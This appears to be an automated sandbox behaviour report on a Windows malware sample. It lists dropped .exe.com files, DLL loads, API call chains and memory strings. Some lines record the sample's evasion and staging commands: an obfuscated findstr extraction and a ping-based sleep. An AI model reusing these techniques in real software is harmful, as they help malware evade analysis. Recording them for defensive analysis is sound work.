Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Section loaded: rasadhlp.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Tt843YGUx5.exe

Static file information: File size 9326758 > 1048576

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm	Jump to behavior

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_0040760A LoadLibraryA,GetProcAddress,GetWindow,GetWindow,GetDlgItem,GetWindow,

0_2_0040760A

Source: Tt843YGUx5.exe

Static PE information: real checksum: 0xf0b0e should be: 0x8e8212

Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_3_02587F5C pushfd ; ret	0_3_02587FBC
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_3_02587F5C pushfd ; ret	0_3_02587FBC
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_3_02587D9F push ds; retf	0_3_02587DA5
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_3_02587D9F push ds; retf	0_3_02587DA5
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_3_02587F5C pushfd ; ret	0_3_02587FBC
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_3_02587F5C pushfd ; ret	0_3_02587FBC
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_3_02587D9F push ds; retf	0_3_02587DA5
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_3_02587D9F push ds; retf	0_3_02587DA5
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00418690 push eax; ret	0_2_004186BE
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078E93F push edi; ret	5_2_0078E941
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078EA58 push esi; ret	5_2_0078EA5A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007C8A4A push FFFFFF8Bh; iretd	5_2_007C8A4C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00788B75 push ecx; ret	5_2_00788B88
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0077CBDB push eax; retf	5_2_0077CBF8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078EC33 push esi; ret	5_2_0078EC35
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0077CC06 push eax; retf	5_2_0077CBF8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078ED1C push edi; ret	5_2_0078ED1E
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7E93F push edi; ret	7_2_00A7E941
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AB8A4A push FFFFFF8Bh; iretd	7_2_00AB8A4C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7EA58 push esi; ret	7_2_00A7EA5A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A78B75 push ecx; ret	7_2_00A78B88
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7EC33 push esi; ret	7_2_00A7EC35
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7ED1C push edi; ret	7_2_00A7ED1E
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FE93F push edi; ret	11_2_003FE941
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00438A4A push FFFFFF8Bh; iretd	11_2_00438A4C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FEA58 push esi; ret	11_2_003FEA5A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003F8B75 push ecx; ret	11_2_003F8B88
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003ECBF4 push eax; retf	11_2_003ECBF8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FEC33 push esi; ret	11_2_003FEC35
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FED1C push edi; ret	11_2_003FED1E

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007E59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	5_2_007E59B3
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_00775EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	5_2_00775EDA
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AD59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	7_2_00AD59B3
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A65EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	7_2_00A65EDA
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_004559B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	11_2_004559B3
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003E5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	11_2_003E5EDA

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007833B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_007833B7

Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 30
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 30			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	API coverage: 4.1 %
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	API coverage: 4.0 %
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	API coverage: 4.2 %

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00409054 ??2@YAPAXI@Z,FindFirstFileW,FindClose,	0_2_00409054
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00403186 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	0_2_00403186
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00402A8E FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	0_2_00402A8E
Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Code function: 0_2_00402B9F FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	0_2_00402B9F
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007C494A GetFileAttributesW,FindFirstFileW,FindClose,	5_2_007C494A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007C4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_007C4005
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_007CC2FF
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CCD14 FindFirstFileW,FindClose,	5_2_007CCD14
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	5_2_007CCD9F
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_007CF5D8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_007CF735
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007CFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	5_2_007CFA36
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007C3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_007C3CE2
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AB494A GetFileAttributesW,FindFirstFileW,FindClose,	7_2_00AB494A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AB4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_00AB4005
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	7_2_00ABC2FF
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	7_2_00ABCD9F
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABCD14 FindFirstFileW,FindClose,	7_2_00ABCD14
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_00ABF5D8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	7_2_00ABF735
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00ABFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	7_2_00ABFA36
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AB3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	7_2_00AB3CE2
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_0043494A
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00434005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00434005
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_0043C2FF
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043CD14 FindFirstFileW,FindClose,	11_2_0043CD14
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_0043CD9F
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0043F5D8
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0043F735
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0043FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_0043FA36
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00433CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00433CE2

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_00775D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

5_2_00775D13

Source: Bonta.exe.com, 00000007.00000003.1723632225.000000000357B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VNswdqkJHGRvmueigEoCbcbzzRZsYHefjSEKYHhxeqEMuIKbJG_112
Source: Bonta.exe.com, 00000007.00000003.1724859366.00000000034AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ImcUYqPiljrtfCXuiybhGfsGnPyqZsDGmIGOiUjxeHzzdrbOpfUfToF;
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.0000000002BCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Local $puvSDtqYrsfhEL = 'RPPoXblPCCcjAMnWzIKfyWHmssVRhgFSwWmgXhfRYsTdoRmjEcVFUc'
Source: Inebriarti.exe.com, 00000005.00000003.1752328553.00000000036EB000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1752435949.0000000003713000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1753609737.000000000372B000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1752745370.000000000372A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kImZXeDRqjFLvNVshxWmCEEFWYFxpoalRvHQqemUF02#121#45#44#<l&
Source: Bonta.exe.com, 0000000A.00000002.2926103840.0000000003A06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: GKHRXXDEQEMuQreonZWtXO
Source: Inebriarti.exe.com, 00000005.00000003.1748045980.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000008.00000002.2926448957.00000000041AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RPPoXblPCCcjAMnWzIKfyWHmssVRhgFSwWmgXhfRYsTdoRmjEcVFUc
